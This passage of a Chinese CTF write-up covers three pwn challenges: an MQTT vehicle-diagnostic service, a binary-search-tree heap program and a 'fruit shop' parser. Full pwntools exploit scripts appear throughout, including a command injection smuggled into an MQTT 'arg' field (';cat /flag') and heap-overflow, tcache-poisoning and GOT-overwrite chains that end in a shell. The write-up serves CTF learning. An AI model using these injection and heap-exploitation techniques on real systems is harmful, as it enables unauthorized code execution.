else if ( !strcmp(dest_, "get_location") ) { ... }
else {
if ( strcmp(dest_, "get_tpms") ) { // 这里只检查了 get_tpms
if ( !strcmp(dest_, "set_adb") ) { ... }
else if ( !strcmp(dest_, "set_vin") ) { ... }
else {
deal("unknown_command"); // 你收到的错误
}
}
else { /* get_tpms */ }
}然后经过我们噼里啪啦一顿动调,不断修复有问题的小点,最终也是可以弹flag了
EXP
import paho.mqtt.client as mqtt
import time
from json import dumps
from pwn import *
# ====== 关键配置 ======
broker = '127.0.0.1' # 服务器IP
port = 9999 # 服务器端口(必须指定!)
client_id = "python_client"
vin = '123\n' # 验证信息
def compute_hash(dest: str) -> str:
v3 = 0
for ch in dest:
v3 = (31 * v3 + ord(ch)) & 0xFFFFFFFF
return f"{v3:08x}"
auth = compute_hash(vin)
#auth = '00170818'
def on_connect(client, userdata, flags, rc):
print(f"Connected with result code {rc}")
client.subscribe("diag/resp")
def on_message(client, userdata, msg):
print(f"FLAG FOUND: {msg.payload.decode()}")
client = mqtt.Client(client_id)
client.on_connect = on_connect
client.on_message = on_message
#指定端口
client.connect(broker, port, 60) # 9999端口(不能省略)
#arg必须10+位 (原9位非法)
valid_arg = "1234567890123" # 10位合法字符串
#先发送合法命令触发sleep
auth = compute_hash(vin)
cmd1 = {
'auth': auth,
'cmd': 'set_vin',
'arg': valid_arg,
}
client.publish('diag', dumps(cmd1))
#pause()
print("Sent first command (valid arg, 10 chars)")
#0.5秒后发送注入命令
time.sleep(0.5)
cmd2 = {
'auth': auth,
'cmd': 'set_vin',
'arg': f"{valid_arg};cat /flag" # 注入点
}
client.publish('diag', dumps(cmd2))
print("Sent injection command (race condition)")
try:
print("Waiting for flag (up to 5 seconds)...")
client.loop_start()
time.sleep(5) #等待足够时间获取flag
except KeyboardInterrupt:
pass
finally:
client.loop_stop()
client.disconnect()FOUR:结构数
insert(BstTreeNode **T, int value): 插入新节点到BSTmidTree(BstTreeNode *T): 中序遍历BST并打印destoryNode(BstTreeNode *T, int val): 删除BST中指定值的节点searchTree(BstTreeNode *T, int val): 在BST中查找指定值的节点editTree(BstTreeNode *T, int val): 编辑BST中指定值的节点
下面这个是用户的操作的额函数
editIntroduce(): 编辑管理员的个人介绍showIntroduce(): 显示管理员的个人介绍AdminCheck(BstTreeNode *T): 管理员身份验证creatAdmin(): 创建管理员账户creatUser(): 创建普通用户账户init(): 程序初始化函数menu(): 显示主菜单insertTree(BstTreeNode **T): 插入BST节点
下面这个操作的流程
- 初始化阶段:
- 禁用输入/输出缓冲
- 创建用户(调用
creatUser()) - 创建初始BST(值为3和2)
- 显示初始树
- 主循环阶段:
- 显示菜单
- 根据用户选择执行相应操作:
- 1: 插入新节点
- 2: 中序遍历显示树
- 3: 删除节点
- 4: 编辑节点
- 5: 进入管理员模式
- 管理员模式:
- 输入密码验证
- 验证成功后显示管理员菜单
- 管理员可以:
- 编辑个人介绍
- 查看个人介绍
- 插入树节点
- 显示树
- 删除节点
- 编辑节点
核心就是我们通过树管理器的工作模式,让右指针清零;清零之后指向的空间不重要。清零之前让申请出来的val最大的堆块使用假的chunk,这个最重要。
然后我们依据这个逻辑泄露出来stack打stack劫持就行
exp如下
from pwn import *
p=process('./pwnNoGot')
e=ELF('./pwnNoGot')
context(arch='amd64', os='linux',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def init():
p.recvuntil('please input your name\n')
p.sendline('1')
p.recvuntil('please input your sex\n')
p.sendline('1')
p.recvuntil('please input your introduce\n')
p.sendline('1')
p.recvuntil('please input your password\n')
p.sendline('1')
def insert(val):
p.recvuntil('choice >>\n')
p.sendline('1')
p.recvuntil('value?\n')
p.sendline(str(val))
def midShow():
p.recvuntil('choice >>\n')
p.sendline('2')
def destory():
p.recvuntil('choice >>\n')
p.sendline('3')
def edit():
p.recvuntil('choice >>\n')
p.sendline('4')
def admin():
p.recvuntil('choice >>\n')
p.sendline('5')
def adminFree(value):
p.recvuntil(b'choice\n')
p.sendline('5')
p.recvuntil(b'val?\n')
p.sendline(str(value))
def adminInsert(value):
p.recvuntil(b'choice\n')
p.sendline('3')
p.recvuntil(b'value?\n')
p.sendline(str(value))
def adminDestory(value):
p.recvuntil(b'choice\n')
p.sendline('5')
p.recvuntil(b"val?\n")
p.sendline(str(value))
#-------------------------------------------------------------
init()
admin()
p.sendline('1')
for i in range(4,12):
insert(i)
#################连续调用一大串函数导致的溢出###############
insert(1)
insert(144)
insert(133)
insert(146) #########从这里之后都有溢出
insert(134)
insert(0)
insert(121)
insert(120)
insert(122)
insert(119)
insert(123)
insert(118)
insert(124)
insert(117)
insert(125)
insert(116)
insert(126)
insert(115)
insert(127)
#gdb.attach(p,'b *0x40197A')
#gdb.attach(p,"b *0x4016AB")
#gdb.attach(p,"b *0x4019C5")#0x4016FA
#gdb.attach(p,"b *0x4016FA")
#sleep(2)
#-------------------------------------------------------------
password=p64(0)+p64(0)+p64(0x21)+p64(0x86)+p64(0)+p64(0)+p64(0x21)
password = password.ljust(63,b'\x00')+p64(0x401749)
admin()
p.send(password)
#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('2')
p.recv(4)
heap_addr=u64((p.recv(6)).ljust(8,b'\x00'))-0xb30
log.success("heap : "+hex(heap_addr))
#-------------------------------------------------------------
adminFree(121)
adminFree(120)
adminFree(119)
#########通过这里实现的错位#################
#-------------------------------------------------------------
#-------------------------------------------------------------
admin_ptr_addr=0x405060-0x10
payload=p32(0)+p64(0)+p64(0x21)+p64((heap_addr>>12)^admin_ptr_addr) #一个改堆
p.recvuntil(b'choice\n')
p.sendline('1')
p.send(payload)
############往堆地址里面写入数值#############
#-------------------------------------------------------------
adminInsert(155) #这个是正好到那个位置
adminInsert(156)
adminDestory(11)
adminDestory(10)
###########重新调整一下树结构的顺序###################
adminInsert(0x405050-0xac) #溢出改栈
#gdb.attach(p,"b *0x401686")
#sleep(2)
#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('2')
p.recv(8)
stack=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))#u64(p.recv(6).ljust(8,b'\x00'))
print("stack = ",hex(stack))
#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('6') #edit #并不是直接影响的
p.recvuntil(b"val?")
p.sendline(str(0x405050-0xac))
p.sendline(str(0x405040-0xac)) #换了一个位置
#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('2')
libc.address=u64(p.recv(6).ljust(8,b'\x00'))-0x21b6a0
log.success("libc: "+hex(libc.address))
#-------------------------------------------------------------
adminFree(9)
#-------------------------------------------------------------
bin_sh=0xb00+heap_addr
p.recvuntil(b'choice\n')
p.sendline('6')
p.recvuntil(b"val?")
p.sendline(str(0x405040-0xac))
p.sendline(str(bin_sh-0xac)) #换了一个位置
p.recvuntil(b'choice\n')
p.sendline('1')
p.sendline(p64(stack+0x90-0xac))
#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('6')
p.recvuntil(b"val?")
p.sendline(str(bin_sh-0xac))
p.sendline(str(0x405060-0xac)) #换了一个位置
p.recvuntil(b'choice\n')
p.sendline('1')
p.sendline(p64(0xb00+heap_addr)) #这个地址存储了栈地址
#-------------------------------------------------------------
gdb.attach(p,"b *0x401683")
sleep(2)
p.sendline('1')
rop = flat(0x000000000040101a,0x000000000040101a,libc.address+0x000000000002a3e5,next(libc.search(b"/bin/sh\x00")),0x000000000040101a,libc.sym['system'])
p.sendline(rop)
#-------------------------------------------------------------------
p.interactive()FIVE:myfruitshop
今天来看看这个题目
apple=apple=1
这样之后的话就清晰了这个题目,我们可以利用这个存储算法的逻辑的漏洞来达到任意写的目的
里面有一个循环,是一个数据处理清洗逻辑的
while ( 1 )
{
s2 = dest_1;
for ( i = 0; dest_1[i] != '=' && dest_1[i] != ':' && dest_1[i]; ++i )
;
if ( !dest_1[i] )
break;
if ( dest_1[i] == 58 )
{
dest_1 += i + 1;
}
else
{
dest_1 += i + 1;
for ( j = 0; dest_1[j] != ':' && dest_1[j]; ++j )
;
for ( n9 = 0; n9 <= 9; ++n9 )
{
_Apple_ = strlen(&aApple[32 * n9]); // "Apple"
if ( !strncmp(&aApple[32 * n9], s2, _Apple_) )// "Apple"
{
if ( v10 )
{
v2 = v10++;
dest[v2] = 58;
}
_Apple__1 = &aApple[32 * n9]; // "Apple"
while ( *_Apple__1 )
{
v3 = _Apple__1++;
v4 = v10++;
dest[v4] = *v3;
}
v5 = v10++;
dest[v5] = '=';
for ( k = 0; k < j; ++k )
{
v6 = v10++;
dest[v6] = dest_[dest_1 - dest + k];
}
}
}
if ( dest_1[j] )
dest_1 += j + 1;
}
}将可能混乱的输入格式(如 "Apple1=5,Banana=3:Orange2=4,Apple=2")标准化为规范格式(如 "Apple=5:Banana=3:Apple=2"),同时过滤掉非法的水果名,确保只有系统认可的水果类型被保存。
这个有点麻烦看起来,让ai简化一下逻辑之后我们运行一下看看这一块的实际的效果
之后我们根据实际运行的效果定义一下交互的逻辑
这里是我们的定义的效果,我们可以通过这个去和程序进行交互
def cmd(choice):
rt(">")
sl(str(choice))
def add(content):
cmd(1)
rt("This is the fruit and price stocked on day")
s(content)
def show(idx):
cmd(2)
rt("Please enter the day number")
sl(str(idx))
def edit(idx,content):
cmd(3)
rt("which day?")
sl(str(idx))
rt("please edit")
s(content)为了获得内存级的理解,我们需要去调试一下程序
这个不仅没有free,也没有正常的show功能
unsigned __int64 show()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("Please enter the day number");
__isoc99_scanf("%llu");
if ( !heaplist[0] )
{
puts("error");
_exit(0);
}
printf("This is the fruit and price stocked on day %d\n", 0);
puts((const char *)heaplist[0]);
return v1 - __readfsqword(0x28u);
}这里有一个既定的水果数组
.data:0000000000004020 aApple db 'Apple',0 ; DATA XREF: add+356↑o
.data:0000000000004020 ; edit+3B2↑o
.data:0000000000004026 align 20h
.data:0000000000004040 aBanana db 'Banana',0
.data:0000000000004047 align 20h
.data:0000000000004060 aOrange db 'Orange',0
.data:0000000000004067 align 20h
.data:0000000000004080 aPeach db 'Peach',0
.data:0000000000004086 align 20h
.data:00000000000040A0 aWatermelon db 'Watermelon',0
.data:00000000000040AB align 20h
.data:00000000000040C0 aGrape db 'Grape',0
.data:00000000000040C6 align 20h
.data:00000000000040E0 aMango db 'Mango',0
.data:00000000000040E6 align 20h
.data:0000000000004100 aStrawberry db 'Strawberry',0
.data:000000000000410B align 20h
.data:0000000000004120 aPineapple db 'Pineapple',0
.data:000000000000412A align 20h
.data:0000000000004140 aLemon db 'Lemon',0
.data:0000000000004146 align 20h我们可以利用那个逻辑,然后利用这个
for ( k = 0; k < j; ++k )
{
v6 = v10++;
data_ptr[v6] = dest_[dest_1 - data_ptr + k];
}这里进行溢出,越界修改即可,利用数据进行填空
源码的话差不多是这样的
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// 假设 fruit 结构体定义如下
typedef struct {
const char *Name;
} fruit;
// 全局变量
char buf[0x2000];
int nread = 0;
char *inputArr[100]; // 存储解析后的 name=value 字符串
char val[0x2000]; // 临时存储 value 部分
size_t size[100]; // 记录每个条目的大小
fruit List[] = {
{"apple"},
{"banana"},
{"orange"},
// 更多水果...
};
// 主函数或处理函数
void process_input(size_t idx) {
// 1. 提示用户输入
puts("Please enter the fruit you want to stock and its price");
puts("Input format: name=value:name2=value2:......");
printf("This is the fruit and price stocked on day %d\n", idx);
// 2. 读取输入
nread = read(0, buf, 0x2000);
if (nread < 0) {
puts("error");
return;
}
// 3. 分配内存存储输入
char *str = malloc(nread + 1);
if (!str) {
puts("error");
_exit(0);
}
// 4. 复制数据到 str 和 val
memcpy(str, buf, nread);
str[nread] = '\0';
memcpy(val, buf, nread);
// 5. 开始解析
char *p = str;
size_t off = 0;
while (1) {
char *name = p; // 当前 name 的起始地址
size_t len = 0;
// 找到 name 的结束(遇到 '=' 或 ':' 或 '\0')
while (p[len] != '=' && p[len] != ':' && p[len] != '\0') {
len++;
}
if (p[len] == '\0') {
// 表示当前字段是最后一个,但没有 '=' → 错误或不完整
str[off] = '\0';
inputArr[idx++] = str;
memset(val, 0, sizeof(val));
return;
}
// 跳过 name 和 '='
p += len + 1; // 移动到 value 开始处
char *value = &val[p - str]; // value 在 val 中的偏移
len = 0;
// 找到 value 的结束(遇到 ':' 或 '\0')
while (p[len] != ':' && p[len] != '\0') {
len++;
}
// 查找匹配的 fruit 名称
for (size_t i = 0; i < sizeof(List) / sizeof(fruit); i++) {
fruit *cur = &List[i];
if (!strncmp(cur->Name, name, strlen(cur->Name))) {
// 匹配成功!
if (off > 0)
str[off++] = ':';
const char *n = cur->Name;
while (*n != '\0')
str[off++] = *n++;
str[off++] = '=';
for (size_t j = 0; j < len; j++)
str[off++] = value[j];
}
}
// 如果还没到字符串结尾,跳过冒号继续
if (p[len] != '\0') {
p += len + 1;
} else {
break;
}
}
// 最终设置字符串结束
str[off] = '\0';
inputArr[idx++] = str;
memset(val, 0, sizeof(val));
}流程的话差不多是这样
1. 用户输入:apple=5.99:banana=3.49
2. 读取到 buf
3. 分配 str 和 val 缓冲区
4. 循环解析:
- 找到 name(apple)
- 找到 value(5.99)
- 在 List 中查找 "apple"
- 若找到,构建输出:apple=5.99
5. 继续下一个字段
6. 最终将结果存入 inputArr这里是我们溢出并且把topchunk申请出来
然后我们修改一
libc = ELF('./libc.so.6')
pd=b'Apple =1Orange1=1234567\x41\x0d' #溢出两个的
add(pd)
pd=b'a'*0x1000
add(pd)
pd=b'Apple =1Orange1=1234'+b'56789012' #溢出八个的
edit(1,pd)
show(1)
rt(b"012")
rt(b"012")
lib=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
log.success("addr : 0x%x"%lib)
pd=b'Apple = Apple=\x00\x00' ##溢出八个0的
edit(1,pd)
pd=b'Apple =1Orange1=1234567\x21\x0d' #溢出两个的
edit(1,pd)
pd=b'a'*(0xd20-0x40)
add(pd)
pd=b'Apple =1Orange1=1234567\x41\x0d' #溢出两个的
add(pd)
add(b'a'*0x2f)
add(b'a'*0xdff)
pd=b'Apple =1Orange1=1234567\x71\x01' #溢出两个的
add(pd)
edit(7,"enter")
add(b'a'*0xdff)
environ=libc.symbols['environ']+lib
pad=b'Apple =1Orange1=1234'+b'56789012' #溢出八个的
edit(7,pd)最后效果如下,修改got表即可
这里最后选择的修改libc中的got表,因为开启了pie,程序基址的got表不好泄露
又因为版本很高,hook也不好打,stack不好去泄露
所以说我们最后选择打got表
from pwn import *
io = process("./pwn")
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
rt = lambda x: io.recvuntil(x)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
def cmd(choice):
rt(">")
sl(str(choice))
def add(content):
cmd(1)
rt("This is the fruit and price stocked on day")
s(content)
def show(idx):
cmd(2)
rt("Please enter the day number\n")
sl(str(idx))
def edit(idx,content):
cmd(3)
rt("which day?")
sl(str(idx))
rt("please edit")
s(content)
''''''
libc = ELF('./libc.so.6')
pd=b'Apple =1Orange1=1234567\x41\x0d' #溢出两个的
# pd=b'a'*0x28
add(pd)
#gdb.attach(io)
pd=b'a'*0x1000
add(pd)
pd=b'Apple =1Orange1=1234'+b'56789012' #溢出八个的
edit(1,pd)
show(1)
io.recvuntil(b"012")
io.recvuntil(b"012")
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
log.success("addr : 0x%x"%libc.address)
pd=b'Apple = Apple=\x00\x00' ##溢出八个0的
edit(1,pd)
pd=b'Apple =1Orange1=1234567\x21\x0d' #溢出两个的
# pd=b'a'*0x28
edit(1,pd)
#
pd=b'a'*(0xd20-0x40)
add(pd)
pd=b'Apple =1Orange1=1234567\x41\x0d' #溢出两个的
# pd=b'a'*0x28
add(pd)
add(b'a'*0x2f)
add(b'a'*0xdff)
pd=b'Apple =1Orange1=1234567\x71\x01' #溢出两个的
add(pd)
edit(7,"enter")
add(b'a'*0xdff)
environ=libc.symbols['environ']
pd=b'Apple =1Orange1=1234'+b'56789012' #溢出八个的
edit(7,pd)
show(7)
rt(b"012")
rt(b"012")
heap=u64(io.recv(5).ljust(8,b'\x00'))
heap=heap<<12
heap=heap-0x22000
log.success("heapaddr : 0x%x"%heap)
add(b'a'*0x2f)
add(b'a'*0xfff)
pd=b'Apple =1Orange1=1234567\x71\x01' #溢出两个的
add(pd)
edit(10,"enter")
add(b'a'*0xdff)
libcgot=0x21A090+libc.address
key=heap+0x44ea0
key=key>>12
pd=b'Apple =1Orange1=123456789'+ p64(libcgot^key) #溢出14个的
edit(11,pd)
gdb.attach(io)
add(b'a'*0x138)
add(p64(libc.address+0xebc88)*6+b'1'*0x108)
io.interactive()

师傅来个vm